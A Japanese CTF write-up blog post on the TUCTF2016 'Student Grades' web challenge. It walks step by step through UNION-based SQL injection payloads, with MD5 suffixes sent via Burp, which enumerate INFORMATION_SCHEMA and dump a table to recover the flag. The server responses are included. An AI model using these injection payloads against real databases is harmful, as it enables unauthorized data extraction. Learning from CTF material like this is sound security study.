saotake’s blog

-竿竹-

(TUCTF2016)Student Grades(Web50)

以下のホームページに対するSQLインジェクションを行う問題

f:id:saotake:20160514092037p:plain

 

単純に「A' or 'A'='A」などの常套句を入れても検索NGになる。

HTMLソースに以下のヒントあり。

<form>
Enter name: <input type="text" id='info'>
<input id="submit" type="submit" value="Check my grades!" class="waves-effect waves-light btn">
</form>
<script>
document.getElementById('submit').addEventListener('click',
function(event){
event.preventDefault();
var input = document.getElementById('info');
//var query = 'SELECT * from Names where name=\'' + input.value + '\'';
var inp_str = input.value;
inp_str = inp_str.replace(/\W+/g, " ");
var md5_str = md5(inp_str);
var send_str = inp_str+' '+md5_str;
var post_data = {name: send_str, submit:1};
$.ajax({
type: "POST",
url: "/postQuery.php",
data: post_data,
success: function(data){document.getElementById('results').innerHTML=data;}
});
}
);
</script>
<table class=\"table\" id="results"><tr><th>Name</th><th>Grade</th></tr>
</table>

 例えば、Aという文字列で検索するときは、クエリーとしては、

a+md5(a)

というものが流れている。実際にburpで検索クエリのパケットを見てみると以下のとおり。(aで検索した場合。md5(a)=0cc175b9c0f1b6a831c399e269772661)

name=a+0cc175b9c0f1b6a831c399e269772661&submit=1

また、検索結果のページのソースには、以下の通り実行したSQLコマンドまで記述されている。

   <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%a%';-->

なお、Webインターフェースはjavascriptサニタイズされている(?)ようなので、burpを使ってmd5の値を含めてクエリを直接作成することとした。(chromeの開発者モードでサニタイズ部分のscriptを削除してもよかったかも)

まず、検索結果の列数を探す。UNIONでNULLの数を増やしていくと、2個で成功。

    <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' union select  1,1;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>boby tables</td><td>F-</td></tr> 

まず、検索に使われるtuctf_gradesテーブルの中にフラグが入っていないか確認するため、属性(列)の一覧を取得する。いろいろと試したところ、MySQL(?)のような気がしたので、information_schemaからテーブル名を取得。

name=' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_grades');#+8418a4618fdb9a34f7fd439ec482d121&submit=1

 

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_grades');#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_grades</td><td>name</td></tr>
<tr><td>tuctf_grades</td><td>grade</td></tr>

 

nameとgradeしか持っていないので、このテーブルの中にはフラグはなさそう。

次に、DBの中にある他のテーブルを調べてみる。

name=' and '1'='0' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);#+322ae80dc408c4cd641b18ee78131c3c&submit=1 

  <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>information_schema</td><td>CHARACTER_SETS</td></tr>
<tr><td>information_schema</td><td>COLLATIONS</td></tr>
<tr><td>information_schema</td><td>COLLATION_CHARACTER_SET_APPLICABILITY</td></tr>
<tr><td>information_schema</td><td>COLUMNS</td></tr>
~中略~

<tr><td>tuctf</td><td>tuctf_grades</td></tr>
<tr><td>tuctf</td><td>tuctf_info</td></tr>
<tr><td>tuctf</td><td>tuctf_junk</td></tr>

tuctf.tuctf_infoかtuctf.tuctf_junkというテーブルが怪しそう。

tuctf.tuctf_infoの属性の一覧を取得。

name=' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_info');#+44207a75d7ed96ab88ead07298cccfc1&submit=1

 

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_info');#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_info</td><td>item</td></tr>
<tr><td>tuctf_info</td><td>value</td></tr>

itemとvalueのペアの模様。一覧で表示してみる。

name=' and '1'='0' UNION ALL (SELECT item,value FROM tuctf_info);#+64061bf2600829cc2b4db0bf0c87c0f0&submit=1

 

  <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT item,value FROM tuctf_info);#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>flag</td><td>TUCTF{v4ccinate_y0ur_databa5e5}</td></tr>

というわけで無事にフラグをゲット

勉強のつもりで手でやってるけど、sqlmapをmd5対応させて攻撃させたほうが攻撃者目線では現実的ですかね?